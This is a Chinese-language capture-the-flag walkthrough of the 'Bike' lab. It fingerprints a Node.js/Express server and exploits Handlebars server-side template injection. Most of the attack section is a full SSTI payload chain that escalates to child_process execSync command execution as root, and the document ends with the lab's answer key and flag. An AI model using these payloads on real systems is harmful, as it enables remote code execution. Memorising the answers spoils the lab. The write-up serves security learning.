前言
- 大家好,我是qmx_07,今天给大家讲解bike靶场
渗透过程
信息搜集
- 服务器开放了 22 ssh 和 http80端口
Wappalyzer
- 介绍:Wappalyzer是一种浏览器扩展程序,用于识别正在访问的网站所使用的技术栈和工具,比如使用的web框架,编程语言等
- 服务器所使用Express框架
发现SSTI模版注入
- 可以看到这个输入框,用来输出 内容
- 尝试xss攻击失败
- 介绍:book.hacktricks.xyz 是一个在线技术知识库,提供有关黑客技术、网络安全和渗透测试的信息和资源,学习网络安全渗透知识
- 由于前面Wappalyzer 搜集到编程语言是Node.js进行尝试SSTI模版注入
- 输入{{7*7}}正确的返回值是49
- 服务器显示报错,信息显示使用的handlebars模版
- /root路径 可能拥有更高的权限
SSTI模版注入
- 使用hacktricks里handlebars模版的注入poc
- 对poc进行url编码,防止出现其他问题
- 显示require函数 无法被调用,可能做了一些安全限制,尝试绕过
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return process;"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
- process没有被禁用,尝试获取主函数
- 在Node.js中,process是一个全局对象,它提供了对当前运行的Node.js进程的访问和控制
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return process.mainMoudle;"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
- process.mainMoudle也可以调用,我们尝试间接调用require函数
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return process.mainModule.require('child_process');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
- child_process模块提供了创建子进程的功能,可以通过该模块执行外部的系统命令
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return process.mainModule.require('child_process').execSync('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
- execSync用于 命令执行相关函数
- 服务器返回了账号名root
- flag:6b258d726d287462d60c103d0142a81c
知识点讲解
- 介绍:SSTI(Server-Side Template Injection)是一种Web应用程序中的漏洞类型,攻击者通过在模板引擎中注入恶意代码来执行服务器端的任意代码
- 模版引擎是一种用于渲染动态内容的工具,常用于网页开发中的模板系统
- 危害:敏感数据泄露、服务器端命令执行、远程代码执行等
答案
- 1.服务器开放了TCP哪些端口?
22,80
- 2.http端口运行着哪个语言?
Node.js
- 3.web框架名称是什么?
Express
- 4.通过{{7*7}}这种形式验证的漏洞叫什么?
Server Side Template Injection
- 5.Node.js使用的模版是什么?
Handlebars
- 6.burp编码的选项卡叫什么?
Decoder
- 7.为了使用有效载荷,我们需要使用什么编码?
url
- 8.在使用什么函数时,服务器响应未定义?
require
- 9.在Node.js中最高的变量叫什么?
golobal(也就是全局变量)
- 10.使用载荷后,用户名叫什么?
root
- 11.flag是什么?
6b258d726d287462d60c103d0142a81c
总结
- 我们介绍了book.hacktricks.xyz 技术网站,以及ssti模版注入,相关函数的调用